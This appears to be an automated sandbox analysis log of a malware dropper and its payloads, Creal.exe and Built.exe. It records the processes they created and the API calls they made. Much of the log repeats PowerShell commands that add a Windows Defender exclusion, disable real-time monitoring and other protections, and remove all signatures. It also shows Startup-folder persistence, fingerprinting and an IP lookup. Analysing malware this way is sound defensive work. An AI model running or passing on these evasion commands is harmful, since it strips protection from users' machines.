Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8AF2212B IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_00007FFD8AF2212B
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD9A26339C IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_00007FFD9A26339C
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD9A262970 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	5_2_00007FFD9A262970
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD9DA2FE30 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	5_2_00007FFD9DA2FE30
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD9DA303E8 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_00007FFD9DA303E8
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD9DB63220 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	5_2_00007FFD9DB63220

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\Desktop\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\Built.exe'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\Built.exe'
Source: C:\Users\user\Desktop\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\Built.exe'"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\Built.exe'	Jump to behavior

Modifies Windows Defender protection settings

Source: C:\Users\user\Desktop\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Users\user\Desktop\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Users\user\Desktop\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Users\user\Desktop\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Users\user\Desktop\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Users\user\Desktop\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Users\user\Desktop\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\Users\user\Desktop\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\Users\user\Desktop\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\Users\user\Desktop\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\Users\user\Desktop\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\Users\user\Desktop\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend	Jump to behavior

Removes signatures from Windows Defender

Source: C:\Users\user\Desktop\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
Source: C:\Users\user\Desktop\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All	Jump to behavior

Source: C:\Users\user\Desktop\#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe

Code function: 0_2_00007FF60639ECE0 EndDialog,SetDlgItemTextW,GetMessageW,IsDialogMessageW,TranslateMessage,DispatchMessageW,EndDialog,GetDlgItem,SendMessageW,SendMessageW,SetFocus,GetLastError,GetLastError,GetTickCount,GetLastError,GetCommandLineW,CreateFileMappingW,MapViewOfFile,ShellExecuteExW,Sleep,UnmapViewOfFile,CloseHandle,SetDlgItemTextW,SetWindowTextW,SetDlgItemTextW,SetWindowTextW,GetDlgItem,GetWindowLongPtrW,SetWindowLongPtrW,SetDlgItemTextW,SendMessageW,SendDlgItemMessageW,GetDlgItem,SendMessageW,GetDlgItem,SetDlgItemTextW,SetDlgItemTextW,DialogBoxParamW,EndDialog,EnableWindow,SendMessageW,SetDlgItemTextW,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SendDlgItemMessageW,FindFirstFileW,FindClose,SendDlgItemMessageW,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,

0_2_00007FF60639ECE0

Source: C:\Users\user\Desktop\#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe	Process created: C:\Users\user\Desktop\Creal.exe "C:\Users\user\Desktop\Creal.exe"	Jump to behavior
Source: C:\Users\user\Desktop\#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe	Process created: C:\Users\user\Desktop\Built.exe "C:\Users\user\Desktop\Built.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Process created: C:\Users\user\Desktop\Creal.exe "C:\Users\user\Desktop\Creal.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Built.exe	Process created: C:\Users\user\Desktop\Built.exe "C:\Users\user\Desktop\Built.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"	Jump to behavior
Source: C:\Users\user\Desktop\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl ifconfig.me"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\Built.exe'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl ifconfig.me
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe"
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl ifconfig.me"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl ifconfig.me

Source: C:\Users\user\Desktop\Built.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "powershell set-mppreference -disableintrusionpreventionsystem $true -disableioavprotection $true -disablerealtimemonitoring $true -disablescriptscanning $true -enablecontrolledfolderaccess disabled -enablenetworkprotection auditmode -force -mapsreporting disabled -submitsamplesconsent neversend && powershell set-mppreference -submitsamplesconsent 2 & "%programfiles%\windows defender\mpcmdrun.exe" -removedefinitions -all"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell set-mppreference -disableintrusionpreventionsystem $true -disableioavprotection $true -disablerealtimemonitoring $true -disablescriptscanning $true -enablecontrolledfolderaccess disabled -enablenetworkprotection auditmode -force -mapsreporting disabled -submitsamplesconsent neversend
Source: C:\Users\user\Desktop\Built.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "powershell set-mppreference -disableintrusionpreventionsystem $true -disableioavprotection $true -disablerealtimemonitoring $true -disablescriptscanning $true -enablecontrolledfolderaccess disabled -enablenetworkprotection auditmode -force -mapsreporting disabled -submitsamplesconsent neversend && powershell set-mppreference -submitsamplesconsent 2 & "%programfiles%\windows defender\mpcmdrun.exe" -removedefinitions -all"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell set-mppreference -disableintrusionpreventionsystem $true -disableioavprotection $true -disablerealtimemonitoring $true -disablescriptscanning $true -enablecontrolledfolderaccess disabled -enablenetworkprotection auditmode -force -mapsreporting disabled -submitsamplesconsent neversend	Jump to behavior

Source: C:\Users\user\Desktop\#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe

Code function: 0_2_00007FF6063B8DF0 cpuid

0_2_00007FF6063B8DF0

Source: C:\Users\user\Desktop\#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe

Code function: GetLocaleInfoW,GetNumberFormatW,

0_2_00007FF60639DE44

Source: C:\Users\user\Desktop\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Cipher VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Cipher VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Cipher VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Cipher VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Cipher VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Cipher VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Cipher VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Cipher VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Cipher VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Cipher VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Cipher VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Cipher VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Hash VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Hash VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Hash VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Hash VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Hash VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\PublicKey VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto VolumeInformation	Jump to behavior
